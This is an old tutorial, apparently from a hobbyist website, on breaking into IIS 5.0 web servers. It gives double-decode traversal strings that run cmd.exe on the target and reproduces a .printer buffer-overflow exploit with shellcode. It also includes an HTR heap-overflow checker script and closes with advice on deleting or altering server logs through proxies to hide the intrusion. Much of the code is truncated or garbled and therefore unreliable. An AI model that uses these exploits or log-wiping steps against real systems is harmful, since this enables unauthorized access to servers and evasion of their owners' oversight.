Hacking IIS 5.0: The Complete Guide

The Step By Step IIS 4 Hack

This is not a article for a script kiddie. It's a little late but still applicable today, very applicable. This article is inteded to be a robust guide for hacking, and administering IIS 5 servers. So without further adeu The Ultimate IIS Guide.


  I. Introduction

  II.  Information Gathering

   A.  Enumeration

   B.  Identify the directory structure

   C.  Is it patched or not?

  III.  Exploits

   A.  Double Decode(Superflous)

   B.  IDQ Buffer Overflow

   C.  Source Code Disclosure Exploits

    1.  Historical Importance

    2.  Impact

    3.  New Source Code Disclosure Vulnerabilities

   D. WebDav Exlploit

  IV.  Covering your Tracks

   A.  Where are the Logfiles?

   B.  Why can't I delete them now!

   C.  How I will delete them later.



Know your stuff! Remember by default all actions of yours are logged on IIS 5 and the FTP server, not sure about the smtp server but who cares, you can't use VRFY anyway!

Let's say you are hacking a web server, and you know it is IIS 5. If the IIS Server is running it has a virtual root. By default the virtual root is c:\inetpub\wwwroot\. So if you send the request

  GET /frick.html HTTP/1.0



It checks c:\inetpub\wwwroot\ to see if it has a file named frick.html if it does it sends it. Now if you request the default document by way of

  GET / HTTP/1.0



It then looks for the default document. Which if left unchanged is c:\inetpub\wwwroot\iisstart.asp. You must manually change the default document to whatever you wish using the IIS Configuration Dialog. If the pages default.asp or default.htm exist it will serve them instead. If both exist it will serve default.asp. This is the default precedence of the sample pages.

The first things you should check for while gathering info about the server is if the administrator has preserved the default directory structure and such. A virtual directory is a directory that can be accessed by IIS without the directory actually being in the virtual root. Virtual Directories that you should check for first are:









"What good does this do?" you might ask? Well, first it gives you a feel for the directory structure of the machine. And second, if they have failed to patch their machine, you might be able to exploit it using one of the technique's I describe in this paper. After checking those first directories, you can check for some common directories on websites that have chosen not to keep the default structure such as these.

   /cgi-bin/ /bin/ /admin/ /config/ /asp/

   /cfg/ /exe/ /php/ /perl/ /binary/

   /src/ /tar/ /include/ /topics/ /pwd/

   /private/ /conf/ /logs/ /log/ /audio/

   /sound/ /pvt/ /images/ /public/ /home/

   /cpp/ /db/ /data/ /news/


But don't let this list limit you. You must know as much as possible about the system. So use your imaginiation. Ok? Done using your imagination. Ready for the 31337 stuff? Lets begin. If the web page has a default under construction page, it is most likely that the Server was installed by accident and that the current user of the computer does not know about it. It has happened many times. At least 5 times with people I know. However whether or not they installed it by accident, the known vulnerabilities for the default installation are worthless if they used the windows update. Which eradicates at least 10-20 exploits. Also before you start hacking away at the server you want do a port scan, if you haven't already, and see if ftp is running it might come in handy as we will discuss later.

The first exploits I will discuss are the Double Decode(sometimes called the Superflous Decode)Directory Traversal Attacks. These are easily exploitable on a default installation of IIS 5.0. Some people think that you must have a myriad of tools to hack. This is a very clean cut example that prooves you can get root, armed with only a web browser. To exploit this you must first find a directory with execute permissions. Such directories by default are: scripts, iissamples, msadc, and _vti_bin. In a possible exploit request string you could have "" & *Exploit String*. I put *A Exploit String there because there are many to choose from as listed below.(These exploit strings all execute the dos command dir, which gives directory listing)


I am going to stop listing exploit strings to preserve brevity. But the way the exploit works is that IIS checks for "/../../" (dot-slash) attacks before decoding the request string. So it does not notice that after it decodes the urlencoded string that it is in fact allowing a traversal to take place. Maybe an example will help. Let decode this string "/scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\". We know that %35 decodes to 5 so replace all the %35s with 5 which looks like this "/scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe?/c+dir+c:\". Then it checks to make sure it got all the url encoded stuff and it realizes it forgot to decode %5c, which is a \(also IIS changes /'s to \'s). Thus the final path that IIS is left with is "\scripts\..\..\..\..\winnt\system32\cmd.exe?\c+dir+c:\" which tells IIS to hop down four directories and then to look in c:\winnt\system32\cmd.exe and since the original directory was scripts and had execute permissions it executes the shell "cmd.exe" and passes the command line parameters behind the ? in the http request. The shell command would look like this "cmd.exe /c dir c:\".

This is exploit is only limited by your imagination. You can copy files, delete them, disable logging and even delete old logs by utilizing this technique. I have heard that you can upload files using it as well but I haven't been able to do it myself. You can make their floppy drive spin and if they have a disk in at the time, you can read files off of it easily with a type command! This is possible with a cd-rom drive too. There is probably a way to eject the cdrom but I don't know how. More information on this exploit at end of paper.

The next exploit is the exploit used by the codered worm to squiggle its way through the ineternet. And unless you live in front of your old commodore 64 with no internet connection(which some of you might judging from the pictures at neworder) you will no doubt know how effective codered was. The exploit was dubbed the IDQ .Printer Overflow(Pronounced I Dee Que (dot) Printer). The exploit was first discovered by www.eeye.com they released a simple proof of concept. The proof of concept writes a file to the root of any machine that describes how to remedy the vulnerability. The exploit is done by making a request such as

  GET /NULL.printer HTTP/1.0

  HOST: [420 char Buffer]


At the 420 char mark you have succesfully overwritten EIP. Then shove in your shellcode and root it! The following proof of concept was provided by www.eeye.com Note: I have been unable to get their proof of concept to work and will provide another and references to others at the end of this paper.

Begin File iishack2000.c
#ifdef _WIN32
#include <Winsock2.h>
#include <Windows.h>
#define snprintf _snprintf
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>

void usage();
unsigned char GetXORValue(char *szBuff, unsigned long filesize);

unsigned char sc[2][315]={      "\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\

main (int argc, char *argv[])
        char request_message[500];
        int X,sock,sp=0;
        unsigned short serverport=htons(80);
        struct hostent *nametocheck;
        struct sockaddr_in serv_addr;
        struct in_addr attack;
#ifdef _WIN32
        WORD werd;
        WSADATA wsd;
        werd= MAKEWORD(2,0);
        printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
        printf("Vulnerability found by Riley Hassell <riley@eeye.com>\n");
        printf("Exploit by Ryan Permeh <ryan@eeye.com>\n");
        if(argc < 4) usage();
        if(argv[1] != NULL)
                nametocheck = gethostbyname (argv[1]);
        else usage();   
        if(argv[2] != NULL)
                serverport=ntohs((unsigned short)atoi(argv[2]));
        if(argv[3] != NULL)
        printf("Sending string to overflow sp %d for host: %s on port:%d\n",sp,inet_ntoa(attack),htons
        snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost: %s\r\n\r\n",sc[sp]);
        sock = socket (AF_INET, SOCK_STREAM, 0);
        memset (&serv_addr, 0, sizeof (serv_addr));
        serv_addr.sin_addr.s_addr = attack.s_addr;
        serv_addr.sin_port = serverport;
        X=connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
                printf("Sent overflow, now look on the c: drive of %s for www.eEye.com.txt\n",inet_nto
                printf("If the file doesn't exist, the server may be patched,\nor may be a different s
ervice pack (try again with %d as the service pack)\n",sp==0?1:0);              
                printf("Couldn't connect\n",inet_ntoa(attack));
#ifdef _WIN32
        return 0;
void usage()
        printf("Syntax:  iishack2000 <hostname> <server port> <service pack>\n");
        printf("Example: iishack2000 80 0\n");
        printf("Example: iishack2000 80 1\n");        

End of File

The next series of exploits will focus on script source code disclosure. The first exploit for this is caused by a sample script that comes with IIS 5.0. It's name is codebrws.asp. codebrws.asp was meant to show people how to create simple scripts, and is also able to format already created scripts into nice colors, anyway, it opens the file specified in the url variable &source.




The next vulnerability is releatively new, so I won't pretend to have expereince exploiting it. It's called the HTR Chunked Encoding Buffer overflow and I have a proof of concept right here for you. The Information you need should be in the script. It is in perl, sorry windows users, but if you use windows and still want to try to run it, goto activestate.com

Begin File HTR_Exploit.pl


# (c) Filip Maertens/CISSP, .HTR Heap Overflow checker.

# DISCLAIMER: This tool is only to be used for legitimate purposes only.
# This is considered as an intrusive, so  please adhere to the laws  and
# regulations applicable in your country.  Oh, and honey, there is pizza
# in the fridge...  
# CREDITS: @stake/KPMG for the advisory
#          Thor Larholm for the patch identification remark

use Socket;

print "iischeck.pl | Microsoft .HTR Heap Overflow Checker | <filip\@securax.be>\n-----------------------------------------------------------------------\n";

$host= @ARGV[ 0 ];
$method= @ARGV[ 2 ];
my $target = inet_aton($host);
$port = 80;

$requestmethod[0] = "GET";
$requestmethod[1] = "HEAD";
$requestmethod[2] = "POST";

# Initializing strings & vars

$patchedstring    = "InsertElementAnchor";
$nonpatchedstring = "document.write";
$bogusurl         = "/xxxiischeckxxx";

# Main loop of rotten code

if ($host ne "") {

  print " -- Checking hostname: $host\n";
  $rawrequest = "$requestmethod[$method] $bogusurl HTTP/1.1\nClient-Agent:iischeck.pl\nHost:$host\r\n\r\n";    
  @results = sendrequestandgetanswer($rawrequest);

  $criticalline = $results[49];   # 49, since HTTP headers are included

  if ($results[2] =~ "IIS") {
    SWITCH: {
                if ($criticalline =~ $nonpatchedstring) { $patched = " -- Status: System vulnerable."; last SWITCH; }
                if ($criticalline =~ $patchedstring) { $patched = " -- Status: System MS02-18 patched."; last SWITCH; }
                $patched = " -- Status: Cannot identify patch level";

  print "$patched\n\n";
  } else {
    print " -- Error: System is not a Windows/IIS host.\n\n";

} else {



#######: Functions used by iischeck.pl :#######

sub showusage
     print "Usage: iischeck [hostname] -method [method]\n";

sub sendrequestandgetanswer
     my ($rawrequest)= @_;
    @lines = sendrawandgetanswer ($rawrequest);
    return @lines;

sub sendrawandgetanswer 
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die(" -- Error in creating socket\n");
     if (connect(S,pack "SnA4x8",2,$port,$target))
          my @in="";
        print $pstr;
            push @in,$_; 
            last if ($line=~ /^[rn]+$/ );

        return @in;
        die(" -- Error connecting to: $host\n"); 

sub sendraw
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die("Socket problems\n");
     if (connect(S,pack "SnA4x8",2,$port,$target))
          my @in="";
        print $pstr;

        die("connect problems\n"); 
    End of File

Well I know the last one needs more info, but hey, would it be fun If I spoonfed ya'll all the way? That exploit unlike the other's listed will even work with IIS 5.1, which is the web server that comes with Windows XP Professional.

So you got in? You have at this point (hopefully) found a hole in this IIS server and have or are going to exploit it. What you do next is up to you. But bear in mind that, by default, all actions on IIS 5 and it's FTP server are logged. And that is what the next seciton is about.

The web server log resides in "c:\winnt\system32\logfiles\w3svc1\". The FTP server log is stored in "c:\winnt\system32\logfiles\ftpsvc1\". They log you rip address and what request you made to the server. By default they do not examine your request to see if you used a proxy. The logfiles are named according to the date. Everyday IIS creates a new logfile. So, if you did some naughty stuff today, find a proxy, come back tomorrow, and use these command's by way of the double decode exploit, if they are available. If they aren't available, because no directories, have execute permission's you can brute force the FTP server(use a ftp proxy for this one to!), and then when you get admin priveleges, you can delete the logs, or modify them, and don't forget to save some of them to your box, many times, you will find boxe's ips that have fallen victim to the codeRed worm, and those are vulnerable to the double decode attack, and the IDQ buffer overflow, and most of the time are complete default IIS 5 installations.

Useful Double Decode Command's(The command comes after the exploit string)
By the way I haven't tested all of these but I have tested as many as I could, the reason I couldn't test them all was because
my server that I was using was shut down while I was testing them.

    /cmd.exe?/c+type+....win.ini (Try Different combinations with this one, for some reason c:pathfilename didnt work in my test

The last one was just an example, but remember your going to have to find out the names of the logfiles so you can delete them yourself. Remember though, you can't delete the most recent logfile as it is being used by IIS, so if your unable to modify win.ini to delete it. And don't forget, search google for the command's that let you upload files using tftp. I hope you have at least been enlightened in some way about IIS 5 in this paper, thank you If you think this paper could use a little more before being posted or whatever just send it back with comments I will revise it if needed.



Make a free website with Yola